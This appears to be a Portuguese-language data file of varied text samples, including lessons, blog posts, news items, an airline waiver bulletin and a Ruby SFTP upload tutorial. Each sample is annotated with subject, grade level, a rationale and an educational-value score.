+A linha do tempo não serve apenas para decorar datas. Ela nos permite visualizar a história de forma clara e organizada. Por exemplo, podemos ver como a invenção da imprensa por Gutenberg, por volta de 1450, revolucionou a forma como as pessoas compartilhavam informações, abrindo caminho para o Renascimento e, séculos depois, para a internet que usamos hoje. Percebe a conexão? Sem a imprensa, talvez a internet não existisse! 
+
+Para entender melhor, pense na sua própria vida. Você nasceu, aprendeu a andar, foi para a escola, fez amigos... Se colocarmos esses eventos em uma linha do tempo, podemos ver como você cresceu e se desenvolveu. A história funciona da mesma forma, só que em uma escala muito maior. Podemos ver como as civilizações surgiram, como os impérios se expandiram e como as guerras mudaram o mundo. A linha do tempo nos permite traçar essas mudanças e entender as causas e consequências dos eventos. 
+
+As linhas do tempo podem ser divididas em diferentes escalas. Podemos ter uma linha do tempo que mostra toda a história da humanidade, desde o surgimento dos primeiros hominídeos até os dias atuais. Ou podemos ter uma linha do tempo que se concentra em um período específico, como a história do Brasil Colônia, a Revolução Francesa ou a Segunda Guerra Mundial. 
+
+Uma linha do tempo bem construída deve apresentar os eventos em ordem cronológica, ou seja, na ordem em que aconteceram. Ela também deve incluir informações relevantes sobre cada evento, como a data, o local e os personagens envolvidos. Além disso, é importante que a linha do tempo seja visualmente atraente, com imagens, cores e outros elementos que ajudem a ilustrar a história. 
+
+Que tal criar sua própria linha do tempo? Você pode escolher um tema que te interesse, como a história da música, a evolução dos videogames ou a vida de um personagem histórico. Pesquise sobre o assunto, anote os eventos importantes e organize-os em ordem cronológica. Use sua criatividade para deixar sua linha do tempo ainda mais interessante. Ao fazer isso, você estará não apenas aprendendo sobre o passado, mas também desenvolvendo habilidades importantes, como pesquisa, organização e pensamento crítico. 
+
+A história não é apenas um conjunto de datas e nomes. É uma narrativa complexa e fascinante que nos ajuda a entender o presente e a construir o futuro. A linha do tempo é uma ferramenta poderosa que nos permite desvendar essa narrativa e descobrir as conexões entre os eventos que moldaram o mundo em que vivemos. Então, da próxima vez que você se deparar com uma linha do tempo, não a veja apenas como uma lista de datas. Veja-a como um mapa que te leva a uma jornada emocionante através do tempo.",História,Linha do tempo,anos finais (6º ao 9º ano),"O trecho explica de forma clara e acessível o conceito de linha do tempo e sua importância para a compreensão da história. Apresenta exemplos relevantes e incentiva a criação de linhas do tempo personalizadas, promovendo habilidades de pesquisa e pensamento crítico. A linguagem é adequada para o ensino fundamental, tornando o conteúdo valioso para um aprendizado estruturado e engajador. Atende aos critérios de relevância, clareza, consistência e aplicabilidade educacional.",5,1.0
+"É uma grandeza vetorial porque, além da intensidade, tem uma direção. É definida pela variação da posição de um corpo em relação ao tempo. Seja conforme Figura 1-I (a): um corpo segue um caminho genérico dado pela curva C.
+O vetor $\\Delta \\vec r$ é uma aproximação para o comprimento da curva, de forma que a velocidade aproximada no ponto 1 pode ser dada pelo vetor:
+Quanto menor a diferença, maior a aproximação com o comprimento da curva. Assim, no limite,
+Por ser um vetor, a velocidade pode ser decomposta na soma de outros. É comum o uso dos componentes nos eixos das coordenadas. No caso de movimento bidimensional,
+Graficamente, o vetor diferença de velocidades pode ser visto em (b) da mesma figura. Portanto, a aceleração aproximada no ponto 1 é dada por:
+De forma similar à do tópico anterior, a situação limite dá a definição de aceleração instantânea em um determinado ponto da trajetória:
+Ao contrário da velocidade, o vetor aceleração não tem uma relação geométrica definida com a curva. Em geral, não é tangente nem normal à trajetória do corpo. Ver (c) da figura. A unidade básica no Sistema Internacional é o metro por segundo ao quadrado (m/s2). Conversão para outras unidades nesta página.
+Em (b) da figura estão representados os vetores unitários para os eixos de coordenadas xy (i e j) e para os eixos na direção normal e tangencial à curva (N e T). Deduz-se então:
+Derivando o vetor tangencial em relação ao tempo,
+Mas dϕ/dC é a curvatura da trajetória C, equivalente ao inverso do raio de curvatura RC da figura. E dC/dt é a relação entre espaço percorrido e tempo no intervalo infinitesimal, ou seja, é a intensidade do vetor velocidade. Portanto,
+A velocidade pode ser dada pelo produto da sua magnitude v pelo vetor unitário tangencial, isto é, $\\vec v = v \\vec N$. Desde que aceleração é a sua derivada em relação ao tempo e considerando a propriedade das diferenciais d(xy) = x dy + y dx,",original,original,original,original,3,0.6
+"linda blue: Sinto-me tão crescida
+Não me sai da cabeça que estive numa feira de quinquilharia e lixo que os outros já não querem ter em casa na avenida da Liberdade, vi à venda duas caixas com bonecos da minha Heidi — Caixa 1: Heidi com o fato da montanha + avô + Pedro; Caixa 2: Heidi com o fato da cidade + Clarinha (na cadeira de rodas e tudo!) + Menina Rottenmeier) —, e não comprei. Nem sequer perguntei o preço. Resisti até ao limite do insuportável. Também me envergonhei um bocado. E não tinha aonde pôr a bonecada. Mas estou a chorar lágrimas de sangre desde ontem. Mentalmente, estou em posição fetal, até recuperar disto.
+Por outro lado, parece que houve um incêndio lá para os lados de Loures. A minha rua, equidistantíssima desse lugar, esteve umas horas com fumo, cheiro a queimado e fuligem. E a mim só me ocorre isto:
+Ana11/7/17Ora e eu que tanto tentei perceber onde era o fogo nem um sinalzinho de fumo vi......ResponderEliminarRespostasLinda Blue11/7/17Eu percebi porque vi nas notícias :)Mas moro a alguns quilômetros de Loures. Deve ter sido o vento que trouxe aquilo tudo.EliminarResponderAdicionar comentárioCarregar mais...",original,original,original,original,1,0.2
+"escalacao das selecoes na copa - Esportes Notícias
+escalacao das selecoes na copa Notícias sobre ""escalacao das selecoes na copa"" Seleções escaladas...
+As oito seleções participantes, que representam todas confederações, já confirmaram seus elencos para a Copa das Confederações da FIFA Brasil 2013. Os seis campeões continentais juntam-se à Espanha , campeã da Copa do Mundo , e ao Brasil , que sedia a competição. Entre os 184 atletas escalados para o Festival dos Campeões estão alguns dos melhores do mundo, capazes de desequilibrar partidas em questão de segundos. Após muita expectativa, chegou a hora de...
+Fifa divulga escalações das seleções da...
+Rio de Janeiro - A Federação Internacional de Futebol (Fifa) divulgou na manhã de hoje (7) as escalações oficiais das oito seleções que vão participar da Copa das Confederações 2013, que começa no , enquanto a Nigéria traz como estrela o meio-campista da equipe inglesa Chelsea John Obi Mickel. O Taiti, que estreia na Copa das Confederações, traz um time de...
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+Costa do Marfim O técnico da Costa do Marfim , o sueco Sven Goran Eriksson, confirmou ontem que vai escalar Didier Drogba como titular no jogo contra o Brasil , no domingo. O centroavante de 32 anos a agência, em referência ao domínio do Brasil nas ações ofensivas. Alemanha Única equipe a golear na primeira rodada da Copa do Mundo , a Alemanha tenta conter o entusiasmo após a...",original,original,original,original,1,0.2
+"olá, Cristina, é realmente uma pena.
+Não há caixinha de comentários mais viciante na blogo :-))
+mas acredito que ele volte, vai ver!
+JuliaML a 14 de Maio de 2009 às 21:11
+Pois é..., o anónimo faz mesmo falta...
+Espero que tenha razão, e que o JM, depois de um merecido descanso, volte com energia redobrada!
+Cristina a 14 de Maio de 2009 às 21:19",original,original,original,original,0,0.0
+"Greve em Inverness – Boletim 1
+POLÍTICAS DE EXCEÇÃO: 19 JULHO 2019
+INFORME SOBRE POLÍTICA DE EXCEÇÃO DE VIAGEM Greve em Inverness
+BOLETIM 1 EMITIDO EM: 19 de julho de 2019 às 8h15 ET (horário da costa leste dos EUA)
+Válido para bilhetes emitidos até o dia 19 de julho de 2019
+A Delta Air Lines está oferecendo uma isenção para atender os clientes que possam ser afetados pela greve em Inverness.
+Data de viagem afetada: 21 de julho de 2019
+Inverness, Reino Unido (INV)
+A nova viagem deve ter origem até: 26 de julho de 2019
+A nova viagem deve ser remarcada até: 26 de julho de 2019
+O bilhete deve ser reemitido até: 26 de julho de 2019
+Use o código de isenção R3Z4A para nova reserva de cabine a cabine
+Use o código de isenção V5F4A para dispensar apenas a taxa de alteração, desde que:
+**Atenção a todos os usuários de GDS: As exigências de documentação do PNR agora variam de acordo com o GDS. Verifique os procedimentos abaixo. **
+Não é mais necessário documentar o PNR com uma mensagem OSI
+OSI DL CHANGES PER INV INDUSTRIAL ACTION 19JUL19
+A viagem não pode ter começado no segmento do voo afetado e o bilhete não pode ter sido reemitido pela Delta.
+Se a nova viagem ocorrer entre 19 e 26 de julho de 2019, faça a reserva na mesma classe, se houver lugar disponível. Se a mesma classe não estiver disponível, a remarcação pode ser feita na próxima classe disponível, inclusive na classe Y para tarifas de cabine principal, ou na classe mais alta disponível para tarifas/cabines premium, classe P para tarifas Econômica Premium, classe F para tarifas de Primeira Classe e classe J para tarifas da Delta One® (cabine a cabine), se necessário.
+Não haverá cobrança de taxa de alteração se os passageiros reemitirem os bilhetes até 26 de julho de 2019, desde que a reemissão ocorra de acordo com as políticas da Delta. Além disso, o PNR deve ser documentado com o OSI (quando exigido pelo GDS), e o código de isenção deve ser utilizado e documentado no bilhete, conforme indicado a seguir.
+Observe que, para os bilhetes reemitidos após 26 de julho de 2019, serão aplicadas as taxas de alteração.
+Clientes que remarcarem suas reservas para viagens após 26 de julho de 2019 e conseguirem reemitir os bilhetes até 26 de julho de 2019 podem estar sujeitos à cobrança de qualquer tarifa adicional aplicável pelo novo itinerário. Entretanto, a taxa de alteração será dispensada. Além disso, o PNR deve ser documentado com o OSI (quando exigido pelo GDS), e o código de isenção deve ser utilizado e documentado no bilhete, conforme indicado a seguir.
+OSI DL REFUNDED PER INV INDUSTRIAL ACTION 19JUL19",original,original,original,original,0,0.0
+"Olá, pequenos exploradores de palavras! Já pararam para pensar como é incrível poder ler? Ler é como ter uma chave mágica que abre portas para mundos desconhecidos, histórias fascinantes e muita, muita aventura! Mas não basta apenas juntar as letrinhas, é preciso entender o que elas querem nos contar. Isso é o que chamamos de interpretação de texto.
+
+Imaginem que vocês estão assistindo a um filme superlegal. Para aproveitar ao máximo, vocês precisam prestar atenção em tudo: nas falas dos personagens, nas imagens que aparecem na tela e na música que toca. Ler é parecido! Cada palavra é como uma pecinha de um quebra-cabeça, e quando juntamos todas, conseguimos entender a história completa.
+
+Vamos praticar um pouquinho? Imagine que você lê a seguinte frase: ""O cachorro late alto porque viu um gato no quintal."" O que essa frase nos diz? Bem, primeiro, sabemos que existe um cachorro. Segundo, esse cachorro está latindo. Terceiro, ele não está latindo baixinho, está latindo ALTO! E, por último, descobrimos o motivo: ele viu um gato no quintal. Viram só? Conseguimos extrair várias informações importantes de uma única frase!
+
+Mas e se a frase fosse um pouquinho diferente? E se disséssemos: ""A menina estava radiante ao ganhar um livro novo."" O que significa ""radiante""? Se você não souber, pode tentar descobrir pelo resto da frase! A menina ganhou um presente que a deixou muito feliz, então ""radiante"" deve significar algo como alegre, contente, feliz da vida! Usar o contexto da frase nos ajuda a entender palavras novas e difíceis.
+
+A interpretação de texto está em todo lugar! Quando lemos um livro de histórias, um gibi do nosso herói favorito, a receita do bolo da vovó ou até mesmo as mensagens no celular, estamos interpretando textos. E quanto mais praticamos, mais fácil e divertido fica! Ler e entender é como plantar uma sementinha no nosso cérebro: ela cresce e nos ajuda a aprender cada vez mais.
+
+Então, da próxima vez que vocês pegarem um livro ou lerem algo na internet, lembrem-se: não tenham pressa! Leiam com atenção, procurem entender o que cada frase quer dizer e divirtam-se explorando novos mundos através das palavras! E agora, que tal um desafio? Leia um pequeno texto e tente responder às seguintes perguntas: Qual é o assunto principal do texto? Quais são os personagens? O que aconteceu no começo, no meio e no fim da história? Boa leitura e boa diversão!",Português,Leitura e interpretação de texto,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Introduz o conceito de interpretação de texto de forma lúdica e acessível, utilizando exemplos práticos e relevantes para o cotidiano das crianças. A linguagem é clara, o texto é bem estruturado e estimula a prática da leitura e da compreensão, além de propor um desafio ao final.",5,1.0
+"Cozinha Americana | Katia Imoveis Cabo Frio RJ
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+Alugo Temporada Cobertura em Frente a Praia do Forte
+Cobertura contendo 03 quartos, sendo uma suíte, sala, banheiro social,…",original,original,original,original,1,0.2
+"GabiiVinholi: RESENHA:TOQUE DE NATUREZA-Lápis delineador de olhos (Black) *--*
+Boa tarde meninas, tudo bem com vocês? Eu estou, graças a Deus *--* Aii a semana ta corrida viu =/ To em época de provas na faculdade, trabalhos e mais trabalhos =/ Mas jaja entro de férias *o* Bom deixa eu contar uma mega novidade para vocês *o* Como muitas de vocês devem saber dia 17 de novembro(domingo), eu completo 18 aninhos.Isso mesmo meninas, estou ficando velhinha poxa, USAHUSAHSHAUSHUAHS' E meus pais já adiantaram o presente, GANHEI UMA MOTO DELES *o* Eu estou muito grata, de verdade.Eu amo minha família, e só tenho a agradecer por tudo que eles fazem por mim.Agora, só tenho que tirar a carta, USHAUSAHSUHAUSHAUHSHAS' Enfim...Chega de lero lero e vamos a resenha:RESENHA:TOQUE DE NATUREZA-Lápis delineador de olhos (Black) *--*
+O que falar desse lápis ? Simplesmente que ele é TUDO DE BOM *o* Como vocês devem saber, eu sou apaixonada por lápis de delinear os olhos e eu havia feito uma viagem com a minha faculdade, para um lugar em que eu ia ficar o dia todo fora, entrando em cavernas, rios e tudo mais, e precisava de algo que realmente fosse bom, então fui e comprei esse e confesso que não me arrependo de nada *o* Ele é super aprova d'água, ultra fixação mesmo e o preço é super em conta, eu paguei nele 13,00 reais aqui na minha cidade.Se vocês tiverem a oportunidade de testar esse lápis e são como eu apaixonadas por lápis de delinear os olhos, super recomendo *o* Eu sinceramente achei ele ótimo, nunca achei um lápis que durasse tanto em mim, para vocês terem noção eu dormi uma vez com ele e acordou perfeitinho *o* Mas vale lembrar que isso tudo que estou falando é a minha opinião e o que pode ser bom para mim pode ser ruim para vocês, mas faço essas resenhas para vocês terem noção de alguns produtinhos.Espero que vocês tenham gostado lindonas, só para lembrar ta rolando um sorteio aqui no blog, especial de 2 anos.Bora participar: http://gabiivinholi.blogspot.com.br/2013/11/sorteio-2-anos-com-o-blog.htmlUM SUPER BEIJO E FIQUEM COM DEUS ;*",original,original,original,original,1,0.2
+"Neste artigo, vou guiá-lo passo a passo através do processo de criação da sua própria versão deste programa. O código fonte completo dos exemplos serão incluídos, com analise linha por linha do que o código está fazendo. Convido você a participar e experimentar o quão facilmente Ruby pode automatizar partes de rotinas de seu trabalho diário.
+Nosso programa tem um requisito básico: ele precisa se conectar a um servidor de SFTP remoto e enviar nossos arquivos. No entanto, também gostaríamos que ele transferisse apenas arquivos que foram alterados localmente, e automaticamente recursivo em subdiretórios enquanto procura por arquivos para upload.
+O fluxo planejado para o script é:
+Estabeleça uma conexão SFTP com um servidor remoto.
+Liste todos os arquivos e subdiretórios em um diretório local.
+Entre recursivamente em quaisquer subdiretórios e repita a partir do passo dois, criando subdiretórios remotos conforme necessário.
+É claro que os passos um a três são facilmente manipulados por objetos já incluso no Ruby e Net::SFTP. O passo quatro é muito interessante. Enquanto a classe Dir do Ruby oferece uma forma de recursividade em subdiretórios, não é tão óbvia como gostaríamos. Já que Ruby permite fácil extensão da linguagem, por que não escrever nosso próprio método? Não somente vai ser muito divertido, mas também vamos aprender como é fácil estender Ruby.
+Além de Ruby em si, nossas únicas dependências são as bibliotecas Net::SFTP e Net::SSH [1]. Felizmente para nós, ambos são empacotados como Gems[2]. Assumindo que você tem Ruby instalado em sua máquina local e Gem está no path, execute um prompt de comando e digite:
+Agora estamos prontos para começar a escrever algum código. Vamos tentar conectar ao servidor remoto, listar todos os arquivos em um determinado diretório local, e fechar a conexão. Iremos fazer isso usando as interfaces Net::SSH e Net::SFTP e a classe Dir do Ruby.
+Requer a biblioteca Net::SFTP, uma vez que usaremos as duas.
+Estabelece uma sessão SSH com um dado nome de usuário e senha. (Argumentos adicionais tal como um servidor de proxy também podem ser informados aqui. Veja a documentação da API para maiores informações.)
+Abre uma conexão SFTP para o servidor remoto.
+A classe Dir lista todos os arquivos em um diretório de trabalho corrente.
+Sai do laço de listagem de arquivos.
+Depois de executar o script no meu sistema, a seguinte saída é produzida:
+Olhando para nossa lista original de requisitos, conseguimos finalizar os passos um e dois com nove linhas de código.
+Vamos passar ao passo três, comparar os timestamps dos arquivos listados com os timestamps remotos, e transferir apenas os arquivos que foram alterados. (Para os nossos propósitos, definimos que um arquivo tenha sido modificado se o timestamp local é maior ou igual ao timestamp no servidor remoto.) Comparar timestamps com Ruby é realmente fácil. Na verdade, a própria comparação pode ser feita com apenas uma linha de código.
+Vamos dar uma olhada no script agora:
+Vamos passar por este código linha a linha:
+3. - 4. Estabelece nossa sessão SSH e conexão SFTP.
+5. Percorre os arquivos no diretório de trabalho corrente.
+6. Já que não podemos lidar com recursividade em diretórios ainda, verifica se o arquivo corrente realmente é um diretório, em caso afirmativo, salta para a próxima iteração do laço.
+7. - 11. Já que arquivos remotos podem não existir ainda, precisamos capturar exceções que Net::SFTP poderá lançar quando tentarmos determinar seu timestamp. Definimos duas flags: uma indica se o arquivo local foi modificado e precisa ser transferido, e outra que indica se o arquivo remoto ainda não existe.
+12.- 13. Se o arquivo local ainda não foi transferido ou é mais novo que o arquivo remoto, imprime uma linha indicando que o arquivo será transferido.
+14. Transfere o arquivo local para o servidor remoto.
+15.- 18. Fecha a sentença If, o laço pelos arquivos, a conexão SFTP, e a sessão SSH.
+Vamos finalizar o nosso script descendo por subdiretórios e lidando com situ...",original,original,original,original,4,0.8
+"8573935324 - Flavio Morgado - Programando Microsoft Access Com Vba - V. 04 (Em Portuguese do Brasil)
+9788573934076 Programando Microsoft Access Com Vba…
+9788573932447 Programando Microsoft Access Com Vba…
+9788573932430 Programando Microsoft Access Com Vba…
+menor preço: 165,36 €, preço mais alto: 165,36 €, preço médio: 165,36 €
+Programando Microsoft Access Com Vba - V. 04 (Em Portuguese do Brasil) - novo libro
+Livro na base de dados desde 09.12.2017 16:09:11
+Livro encontrado pela última vez no 09.12.2017 16:09:11
+""Coreldraw 3 - Criando Graficos Profissionais (Em Portuguese do Brasil)"", de ""Tarcizio Da Rocha"" (8573935316)
+""Dicionario De Informatica (Em Portuguese do Brasil)"", de ""Marco Agisander Lunardi"" (8573935308)
+""Comandos do LINUX - Prático e Didático"", de ""Marco Agisander Lunardi"" (8573935340)
+""Onde Mora o Perigo: 150 Exercicios Para Prevenir - Xadrez"", de ""Jacques Ranciere"" (9788573935295)
+""OBTENDO E INSTALANDO O GNU - DEBIAN"", de ""MAXUEL BARBOSA DE SOUSA"" (9788573935288)
+""APRENDENDO E DESENVOLVENDO APLICACOES PARA BANCO DE DADOS COM BORLAND DELPHI 6"", de ""BRUNO AUGUSTO LOBO SOARES"" (857393526X)",original,original,original,original,2,0.4
+"Salário do trabalhador caiu 2% e de servidor sem carteira subiu 10% - Economia - Campo Grande News
+No setor privado, a média de rendimento mensal era de R$ 1.488, no último trimestre de 2014 e caiu para R$ 1.481, no mesmo período (Foto: Arquivo)
+O rendimento médio do sul-mato-grossense encerrou o ano de 2015 em R$ 1.808, valor inferior aqueles referentes as médias dos últimos três anos. No 4º trimestre de 2013, o trabalhador tinha renda média de R$ 1.899, ou seja, 4,7% superior a constatada no mesmo período do ano passado. Nos últimos três meses de 2014, a média era de R$ 1.860, portanto a queda foi de 2,7%, na comparação com o mesmo intervalo de 2015. Os dados são da PNAD (Pesquisa Nacional por Amostra de Domícilios) do IBGE (Instituto Brasileiro de geografia e Estatística).
+De modo geral, empregados do setor público mantiveram sua média de rendimentos em R$ 2.857. Nos períodos pesquisados, a vantagem foi apenas para aqueles que não tiveram carteira assinada, pois a média salarial teve alta de 10%. O valor passou de R$ 1.882 no 4º trimestre de 2014 para R$ 2.082, no mesmo período de 2015.
+O grupo de servidores com carteira assinada viu a média de rendimento cair de R$ 1.825 para R$ 1.488, na comparação dos últimos trimestres dos dois anos. A diferença negativa é de 18%, conforme o levantamento.
+No setor privado, a média de rendimento mensal era de R$ 1.488, no último trimestre de 2014 e caiu para R$ 1.481, no mesmo período. O valor médio foi reduzido tanto aos que têm, quanto aos que não têm carteira assinada. Entre os que assinam carteira, o salário médio passou de R$ 1.589 para R$ 1.582, diferença de 0,44%. Esses cálculos não consideram os trabalhadores domésticos da área privada.
+Empregado doméstico - A pesquisa mostra que, em um ano, os trabalhadores domésticos com Carteira de Trabalho assinada conseguiram aumento salarial superior ao daqueles que não têm registro. De modo geral, o salário médio era de R$ 716 no último trimestre de 2014 e passou para R$ 747, no mesmo tempo de 2015, o que revela alta de 4,3%.
+O salário médio dos trabalhadores domésticos com carteira assinada passou de R$ 933 nos últimos quatro meses de 2014 para R$ 977 no mesmo período de 2015, o que representa alta de 4,7%. A remuneração mensal dos que não têm registro em carteira foi de R$ 597 para R$ 605, o que significa aumento de apenas 1,3%.
+Desemprego – A taxa de desocupação que, de outubro a dezembro de 2014, foi de 3,8%, ficou em 5,9 %, no mesmo período de 2015, em Mato Grosso do Sul. De janeiro a setembro do último ano, a taxa chegou a casa dos 6%.
+Esse é o maior percentual desde o 1º trimestre de 2012, quando aumentou em 7,5% a taxa de desempregados. Naquela época, 58,7% das pessoas com mais de 14 anos estavam trabalhando. No fim de 2015, o nível de ocupação ficou em 61,3%.
+Brasil - No país, a desocupação avançou 9%, nos últimos três meses 2015. Essa é a maior taxa dos últimos quatro anos. O resultado representa estabilidade em relação ao trimestre anterior, com taxa 8,9%, na avaliação do IBGE.
+As análises apontaram diferenças significativas na taxa de desocupação entre homens e mulheres. No 4º trimestre de 2015, a taxa foi estimada em 7,7% para os homens e 10,6% para as mulheres. A taxa de desocupação dos jovens de 18 a 24 anos de idade é de 19,4%, elevada em relação a geral do país.
+O grupo de pessoas com ensino médio incompleto teve desocupação de 16,3%, enquanto entre os que têm nível superior incompleto, o percentual ficou em 10,7%, mais que o dobro do verificado para aqueles com nível superior completo, que foi 4,8%.
+O mercado de trabalho passa por um momento difícil. Para termos ideia, vamos aos números quanto ao aumento da parcela de lares onde ninguém trabalha....
+A resolução do Conselho Deliberativo do Fundo de Amparo ao Trabalhador (Codefat) que regulamenta a concessão do seguro-desemprego ao empregado domést...
+Recentemente, as notícias do mercado imobiliário retratam um cenário de preços estagnados, vendas em desaceleração e uma alt...",original,original,original,original,3,0.6
+"Outro dia a Stan disse que seria interessante comentar o poema... Confesso que não havia pensado nisso e, apesar de eu gostar que cada pessoa interprete da sua maneira, me convenci a comentar a forma que vejo esse poema.",original,original,original,original,1,0.2
+"Os novos sanitaristas sociais - Almanaque Cuiabá
+No começo do século, um dos maiores cronistas brasileiros – João do Rio – dava notícias do processo de modernização do Rio de Janeiro.
+Ninguém é obrigado a saber história de cabo a rabo. Seria bom para entendermos as razões pelas quais chegamos onde chegamos, é verdade, mas história hoje em dia é um luxo. Se soubéssemos o básico, não nos surpreenderíamos tanto com o problema dos morros cariocas e da violência ali entrincheirada. No começo do século, um dos maiores cronistas brasileiros – João do Rio – dava notícias do processo de modernização do Rio de Janeiro. O então prefeito, Pereira Passos, mandou demolir antigos prédios de traço colonial para dar lugar à Avenida Central, hoje Rio Branco, uma espécie de Champs-Élysées fluminense, com edificações modernas em ruas largas que substituíram os casebres e cortiços pestilentos, repletos de desempregados, subempregados, pequenos comerciantes, caixeiros viajantes, lavadeiras, estrangeiros, negros alforriados e seus descendentes.
+Com a “bota-abaixo” de Pereira Passos, o enorme contingente de trabalhadores que residiam no centro da cidade migrou para os morros, fazendo do chão o assoalho dos barracos e de tetos galvanizados a proteção para a chuva. Ninguém subia o morro, nem mesmo a polícia. João do Rio foi uma das poucas exceções e retratou as condições de vida: “desde o sopé da montanha as casas são todas feitas de bambu entrelaçado com barro, tendo por teto pedaços de folha de flandres seguros com pedras, são baiucas, são pocilgas, são indescritíveis”. Com a sagacidade que era peculiar, João do Rio antecipa: “será crível que, a dois passos da Rua do Ouvidor, haja uma favela, reduto inexpugnável de desordeiros conhecidos e de gatunos temíveis? Pois há e, o que é mais, com alguns dos mais valentes prestando serviços à polícia”. (Gazeta de Notícias, 21 de maio de 1903).
+Ao mesmo tempo, o Rio de Janeiro contraiu uma febre europeia de longa duração: os maneirismos franceses tomaram conta do vestuário, da língua e do quotidiano carioca, enquanto o chá das cinco era instituído como hábito, além do jogo de bridge, verdadeira doença na alta sociedade. Essa belle époque contrastava com a formação dos primeiros aglomerados no Morro da Providência e na Favela. O abismo social era tratado com absoluto descaso e, portanto, nada mais natural que a formação de guetos de violência, comandado por “malandros e capoeiras de navalha” como se dizia à época, substituídos por traficantes fortemente armados, décadas depois. As coisas permaneceram assim em razão de sucessivos pactos entre políticos, milícias corrompidas e traficantes, salvaguardando as aparências da “zona sul”, uma terra de fantasia. A recém-nascida Ipanema, por exemplo, foi apelidada de Praia Maravilha, nas duas primeiras décadas do século XX, cujos os lotes eram valorizados por maganos que pretendiam uma vida moderna e luxuosa, livres da azáfama do centro da cidade.
+Eu mesmo nasci em 1977. Recordo da minha avó tomando sol na frente do Copacabana Palace. Era um tempo de absoluta tolerância no convívio entre senhoras de maiô, travestis de biquíni, estrangeiros deslumbrados e vendedores de mate e biscoito Globo. A velha sabia, entretanto, que esse idílio iria acabar rapidamente. O Rio-Maravilha da zona sul não iria se sustentar o resto da vida. Olhando para o alto, Lydia me dizia o que qualquer morador da extinta Guanabara diria: tenho medo, medo do dia em que o morro descer para a rua. Aí sim, veremos uma revolução de verdade. O que minha avó premonizava eram as balas perdidas, os comandos criminosos, a corrupção institucionalizada. Isso tudo, lembremos, começou com a ideia de “saneamento social”, uma medida tão simples quanto imbecil.
+O pesadelo carioca fermentou em silêncio enquanto a high society tomava o seu five o’clock tea, jogava law-tennis e foot-ball no Fluminense. Os grã-finos, mais preocupados com as lições de etiqueta de Rafael Mayrink à realidade das ruas, não deram a menor impo...",original,original,original,original,3,0.6
+"A atleta Angélica Kvieczynski, ginasta da Sadia, viaja nesta quarta-feira, 28, em direção a Aracaju, onde vai participar de uma clínica de ginástica com uma técnica russa, de 30 de janeiro a 6 de fevereiro. Ela vem a convite da Confederação Brasileira de Ginástica e vai avaliar as séries da atleta para as competições deste ano, incluindo os Jogos Pan-Americanos, ... Leia Mais »
+A equipe da Sadia/Prefeitura de Toledo/Sesi ficou em quarto lugar por equipe no Campeonato Brasileiro de Ginástica Rítmica, que encerrou neste domingo, 10, em Vitória, no Espírito Santo, juntamente com a III etapa do Circuito Caixa. A equipe, formada pelas ginastas Morgana Gmach, Giovana Oliveira Silva e Thainá Feroldi, competiu sem os seus principais destaques, as atletas Angélica Kvieczynski, Simone ... Leia Mais »
+A atleta Angélica Kvieczysnki, da Sadia/Prefeitura de Toledo/Sesi, acompanhada da técnica Anita Klemann, que também acumula o comando da seleção brasileira individual, viajaram nesta quarta-feira, 12, para Santiago, no Chile, onde participam dos Jogos Sul-Americanos, , nos dias 17 e 18 de março. A atleta retornou da França, na terça-feira à tarde, onde participou do Grand Prix de Thiais, como ... Leia Mais »
+Técnica participa de reunião do COB no Rio de Janeiro
+A técnica Anita Klemann, da equipe de rendimento da Sadia/Prefeitura de Toledo/Sesi, participou na última sexta-feira, 24, no Rio de Janeiro, de uma reunião com o Comitê Olímpico Brasileiro sobre a realização dos Jogos Sul-Americanos, de 15 a 18 de março, em Santiago, no Chile. A reunião contou com a participação de técnicos desportivos de várias modalidades e serviu para ... Leia Mais »",original,original,original,original,1,0.2
+"Segundo sua proprietária, a psicóloga americana Irene Pepperberg, Alex “ tinha a capacidade intelectual de uma criança de 5 anos"".
+Ele falava mais de 100 palavras em inglês, podia identificar cerca de 50 objetos e sete cores,aprendeu os conceitos de ""maior"", ""menor"", de ""igualdade"" e de ""ausência"".
+Cinco dias antes de sua morte, em 11 de setembro de 2007, aos 31 anos de idade, quando Alex foi colocado em sua gaiola, após mais um período de trabalho, disse à sua proprietária: ""Seja boa, vejo você amanhã. Eu te amo"" (Terra, 2007).
+Alex não se intimidava diante das câmeras e participou de vários programas de TV, onde demonstrava suas habilidades intelectuais. Além disso, Irene Pepperberg pesquisou Alex, buscando responder à questão: Papagaios poderiam aprender a falar ou apenas se limitariam a imitar?
+Ao falar ele era capaz de discriminar cores, formas e materiais, assim diante de um triângulo de madeira ele era capaz de falar ‘blue’ (azul) quando perguntavam sobre a cor e ‘three-corner wood’ (triângulo de madeira) quando perguntado sobre a forma. Conseguia contar e, aparentemente, somar até seis.
+Além do que lhe ensinaram durante os treinamentos, ele aprendeu algumas coisas espontâneas, quando queria pedir desculpas ao ser repreendido dizia “I’m sorry” , quando estava entediado ou cansado com os experimentos e queria voltar para sua gaiola dizia “I wanna go back”.
+À noite ou nas horas de folga, Alex costumava repetir palavras recém-aprendidas como se estivesse praticando.
+Todavia, mesmo com Alex como tutor, outros papagaios cinzentos admitidos no laboratório de Irene Pepperberg, não conseguiram os mesmos resultados e uma interação privilegiada com o ser humano.
+2- Nim Chimpsky, um chimpanzé.
+Nim foi “adotado” ainda bebê, com apenas 15 dias, pelo pesquisador Herbert S. Terrace, para testar se um primata que fosse criado como um bebê humano poderia aprender a linguagem e chegar a inventar a linguagem, assim como os seres humanos fazem. Ele foi tratado desde o início como um bebê humano, usava fraldas, roupinhas e tinha a sua mamadeira.
+Nim foi ensinado a falar através da linguagem dos sinais e em 4 anos, ele dominava 125 sinais, mas continuva impulsivo como qualquer chimpanzé pequeno. Mesmo tendo aprendido a comer usando talheres e se tornado asseado, indicando com gestos convencionados quando desejava ir ao banheiro.
+Através de sinais ele conseguia escolher peças do vestuário, por exemplo, uma camisa e a cor, e também aprendeu a pedir objetos como uma xícara, escova de dentes, etc.
+Os cientistas que trabalhavam com Nim agiam como se ele fosse uma criança normal, conversando com ele e entre si, usando a linguagem dos sinais. Na casa onde o chimpanzé morava, as condições iram ideais, os professores tomavam conta dele o tempo todo, filmando.
